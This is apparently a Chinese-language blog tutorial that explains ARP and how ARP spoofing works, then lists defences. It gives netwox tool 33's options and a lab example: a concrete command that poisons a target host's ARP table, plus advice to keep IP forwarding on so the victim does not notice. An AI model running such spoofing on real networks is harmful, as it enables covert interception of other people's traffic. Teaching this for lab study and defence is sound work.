一、首先我們得清楚ARP是什麼東西?
ARP通常就是我們認爲的ARP協議,也就是地址轉換協議,工作在OSI模型的數據鏈路層,用來把IP地址轉換爲MAC地址的,而RARP與ARP相反,是反向地址轉換協議,把MAC地址轉換爲IP地址。在以太網中,網絡設備之間互相通信是用MAC地址(可以理解爲姓名)而不是IP地址(名片)。
二、APR協議工作原理
我們可以假設一個場景,A需要和餐廳裏找B,那麼A就要向服務員D(即網關)詢問B在哪並將自己的名片和姓名給服務員D,服務員D就記錄在自己的本子上(即ARP表)並通過A的姓名去問所有人(即廣播),當服務員D找到B後將A信息告訴B,B知道後將自己的MAC地址和IP地址給服務員D,服務員D有記錄下B的MAC地址和IP地址後回去告訴A。
三、ARP欺騙原理
根據上面的例子,我們在升級一下,假設C是攻擊者,那麼整個過程C無論如何是不知道的,那怎麼樣才能讓C知道呢?僞裝和欺騙,C僞裝成服務員D讓A將信息告訴自己後(ARP協議有個缺點就是後者的會掩蓋前者),在僞裝成A告訴服務員D,我是A要找B,這時候服務員D把C當作是A繼續上面的工作去找B,得到B信息回來後,把信息告訴C後,C就知道其中的信息了並告訴A,注意這裏的本子(ARP表)的信息內容改變了的,這就是ARP雙向欺騙。
單向欺騙就是A和C說,C直接和B說,而服務員D也有A的信息,但是A不去找服務員D,而是找主動的C,俗話說主動纔有故事嘛!
注意:在這裏我們用的自己的MAC地址,別人的IP地址
四、ARP欺騙防禦
那我們怎麼防禦呢?
1、我們可以將本子(ARP表)的信息寫死(即靜態寫入MAC地址與IP地址關係)這樣A就不會讓C有機可乘了!
2、下載殺毒軟件
五、工具
我們可以使用netwox工具集裏面的33號工具
################# help for tool number 33 ##################
Title: Spoof EthernetArp packet
+------------------------------------------------------------------------+
| This tool sends a fake packet on the network. |
| Each parameter name should be self explaining. |
| |
| This tool may need to be run with admin privilege in order to spoof. |
+------------------------------------------------------------------------+
Synonyms: frame, hping, mac, send
Usage: netwox 33 [-d device] [-a eth] [-b eth] [-c uint32] [-e uint32] [-f eth] [-g ip] [-h eth] [-i ip]
Parameters:
-d|--device device device for spoof {Eth0} 硬件類型
-a|--eth-src eth Ethernet src {00:0C:29:EB:02:A3} 發送方MAC地址
-b|--eth-dst eth Ethernet dst {0:8:9:a:b:c} 接收方MAC地址
-c|--eth-type uint32 Ethernet type : ARP=2054, RARP=32821 {2054} 協議類型
-e|--arp-op uint32 ARP op : 1=ARPREQ, 2=ARPREP, 3=RARPREQ, 4=RARPREP {1} 操作類型
-f|--arp-ethsrc eth ARP ethsrc {00:0C:29:EB:02:A3} 發送方MAC地址
-g|--arp-ipsrc ip ARP ipsrc {0.0.0.0} 發送方IP地址
-h|--arp-ethdst eth ARP ethdst {0:0:0:0:0:0} 接收方MAC地址
-i|--arp-ipdst ip ARP ipdst {0.0.0.0} 接收方IP地址
Example: netwox 33
Press 'r' or 'k' to run this tool, or any other key to continue
後面的選項可以對照ARP報文使用
六、例子
攻擊者
MAC地址:00:0c:29:eb:02:a3
IP地址:192.168.111.129
A主機:
MAC地址:00:0C:29:F3:62:57
IP地址:192.168.111.128
B主機:
MAC地址:00-0C-29-68-9b-47
IP地址:192.168.111.130
1、首先我們要明確攻擊的是A,然後攻擊機分別ping通A和B,得到A和B的IP地址和MAC地址。
arp欺騙之前要選擇是否開啓IP路由轉發,如果不開啓,欺騙成功之後,目標主機會斷網,這樣會被對方察覺,所以想讓對方斷網可以不開啓,而只是看看通信信息那就必須開網!!!
查看路由轉發功能:cat /proc/sys/net/ipv4/ip_forward
1爲打開,0爲關閉
2、然後我們使用工具netxow的33號工具編輯如下語句:
root@kali:~# netwox 33 -b 00:0C:29:F3:62:57 -g 192.168.111.130 -h 00:0C:29:F3:62:57 -i 192.168.111.128
注意:在這個包裏改變的是發送方的MAC地址,即我們的MAC地址,其他不變
3、攻擊成功後得到的報文:
4、攻擊前A主機ARP表
5、攻擊後A主機ARP表
七、總結
提醒一下網絡安全方面有很都工具可以進行滲透和攻擊,甚至可以自己編寫,只要原理明白,任何的工具只是鋪助而已。